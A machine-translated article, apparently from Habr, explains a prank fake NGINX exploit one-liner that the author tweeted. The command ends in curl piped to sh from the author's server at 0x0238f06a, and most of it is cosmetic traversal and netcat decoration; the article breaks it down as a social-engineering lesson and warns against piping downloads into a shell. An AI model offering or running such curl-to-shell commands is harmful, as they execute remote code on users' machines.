Эскертүү. котормо.:
TL; DR: Эч кандай шартта sh же bash ичинде файл түтүктөрүн колдонбоңуз. Бул сиздин компьютериңизди башкарууну жоготуунун эң сонун жолу.
Мен сиздер менен 31-майда түзүлгөн PoC күлкүлүү эксплойт жөнүндө кыскача окуяны бөлүшкүм келет. Ал келген кабарларга дароо жооп кайтарды
Керлдеги жаңы бүдөмүк техниканын үстүндө иштеп бүтүп, мен түпнуска твиттен цитата келтирдим жана табылган кемчиликти пайдаланган коддун бир саптан турган “иштеп жаткан PoCти сыртка чыгардым”. Албетте, бул таптакыр болбогон нерсе болчу. Мен дароо эле ачыкка чыгам деп ойлогом, эң жакшысы мен бир нече ретвиттерди алам деп ойлогом (оо, жакшы).
Бирок, андан ары эмне болгонун элестете алган жокмун. Менин твиттеримдин популярдуулугу кескин өстү. Таң калыштуусу, учурда (Москва убактысы боюнча 15-июнь 00:1) бул фейк экенин түшүнгөн адамдар аз. Көптөгөн адамдар аны такыр текшербестен retweet кылышат (ал чыгарган сонун ASCII графикасына суктануу мындай турсун).
Карагылачы кандай сулуу!
Бул илмектердин жана түстөрдүн баары сонун болгону менен, адамдар аларды көрүү үчүн машинасында кодду иштетиши керек болчу. Бактыга жараша, браузерлер дал ушундай иштешет жана мен чындап эле юридикалык кыйынчылыкка туш болгум келбегендиктен, менин сайтымда көмүлгөн код эч кандай кошумча кодду орнотууга же аткарууга аракет кылбай эле жаңырык чалууларды жасап жатты.
Кичинекей экскурсия:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Социалдык-электрондук инженерия (SEE) - жөн гана фишинг эмес
Коопсуздук жана таанышуу бул эксперименттин негизги бөлүгү болгон. Анын ийгилигине ошолор себепкер болду деп ойлойм. Буйрук сабы "127.0.0.1" (белгилүү localhost) шилтемеси менен коопсуздукту ачык билдирген. Localhost коопсуз деп эсептелет жана андагы маалыматтар компьютериңизден эч качан кетпейт.
Таанышуу эксперименттин экинчи негизги SEE компоненти болгон. Максаттуу аудитория биринчи кезекте компьютердик коопсуздуктун негиздери менен тааныш адамдардан тургандыктан, анын бөлүктөрү тааныш жана тааныш (демек коопсуз) болуп көрүнүү үчүн кодду түзүү маанилүү болгон. Эски эксплуатация концепцияларынын элементтерин алуу жана аларды адаттан тыш ыкма менен айкалыштыруу абдан ийгиликтүү болду.
Төмөндө бир-лайнер деталдуу талдоо болуп саналат. Бул тизмедеги бардыгы кийет косметикалык табияты, жана анын иш жүзүндөгү иштеши үчүн иш жүзүндө эч нерсе талап кылынбайт.
Кандай компоненттер чындап керек? Бул -gsS
, -O 0x0238f06a
, |sh
жана веб-сервердин өзү. Веб-серверде эч кандай зыяндуу көрсөтмөлөр болгон эмес, жөн гана буйруктарды колдонуу менен ASCII графикасын тейлеген echo
камтылган скриптте index.html
. Колдонуучу сапка киргенде |sh
ортосунда, index.html
жүктөлгөн жана аткарылган. Бактыга жараша, веб-сервердин сакчыларынын эч кандай жаман ниети болгон эмес.
-
../../../%00
— каталогдун чегинен чыгууну билдирет; -
ngx_stream_module.so
— кокус NGINX модулуна жол; -
/bin/sh%00<'protocol:TCP'
- Биз ишке киргизип жатабыз/bin/sh
максаттуу машинада жана чыгарууну TCP каналына багыттоо; -
-O 0x0238f06a#PLToffset
- жашыруун ингредиент, толукталган#PLToffset
, кандайдыр бир түрдө PLT камтылган эстутум офсет сыяктуу көрүнүү; -
|sh;
- дагы бир маанилүү фрагмент. Даректе жайгашкан чабуулчу веб-серверден келген кодду ишке ашыруу үчүн чыгарууну sh/bashга багыттообуз керек болчу.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat шилтеме кылган муляж/dev/tcp/localhost
Ошентип, баары кайра коопсуз көрүнөт. Чынында, ал эч нерсе кылбайт жана сулуулук үчүн линияга кирет.
Муну менен бир саптык скрипттин декоддоосу жана “социалдык-электрондук инженерия” (татаал фишинг) аспектилерин талкуулоо аяктайт.
Веб сервердин конфигурациясы жана каршы чаралар
Менин жазылуучуларымдын басымдуу көпчүлүгү infosec/хакерлер болгондуктан, мен веб-серверди алар тараптан "кызыкчылык" билдирүүлөрүнө бир аз туруштук берүүнү чечтим, жөн гана балдар бир нерсе кыла алышсын (жана бул кызыктуу болмок). жайгашуу). Эксперимент дагы эле уланып жаткандыктан, мен бул жерде бардык тузактарды тизмектеп отурбайм, бирок сервердин бир нече иштери бар:
- Белгилүү бир социалдык тармактарда жайылтуу аракеттерин активдүү көзөмөлдөйт жана колдонуучуну шилтемени басууга үндөш үчүн ар кандай алдын ала көрүү эскиздерин алмаштырат.
- Shell сценарийин көрсөтүүнүн ордуна Chrome/Mozilla/Safari/etc. Thugcrowd жарнамалык видеосуна багыттайт.
- Интрузия/ачык хакерликтин айкын белгилерин байкап, андан кийин NSA серверлерине суроо-талаптарды багыттай баштайт (га!).
- Троянды, ошондой эле BIOS руткиттерин колдонуучулар кадимки браузерден хостко кирген бардык компьютерлерге орнотот (тамаша!).
Антимерлердин кичине бөлүгү
Бул учурда, менин жалгыз максатым Apache'тин кээ бир өзгөчөлүктөрүн, атап айтканда, суроо-талаптарды кайра багыттоонун сонун эрежелерин өздөштүрүү болчу жана мен ойлодум: эмне үчүн?
NGINX Exploit (чыныгы!)
жазылуу
Source: www.habr.com